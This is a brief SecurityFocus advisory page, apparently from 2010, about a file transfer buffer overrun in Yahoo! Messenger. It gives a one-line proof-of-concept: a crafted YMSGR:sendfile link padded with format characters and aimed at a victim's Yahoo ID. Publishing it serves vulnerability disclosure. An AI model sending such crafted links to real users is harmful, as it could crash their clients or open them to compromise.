Yahoo! Messenger File Transfer Buffer Overrun Vulnerability

The following proof-of-concept example was provided:

YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]


 

Privacy Statement
Copyright 2010, SecurityFocus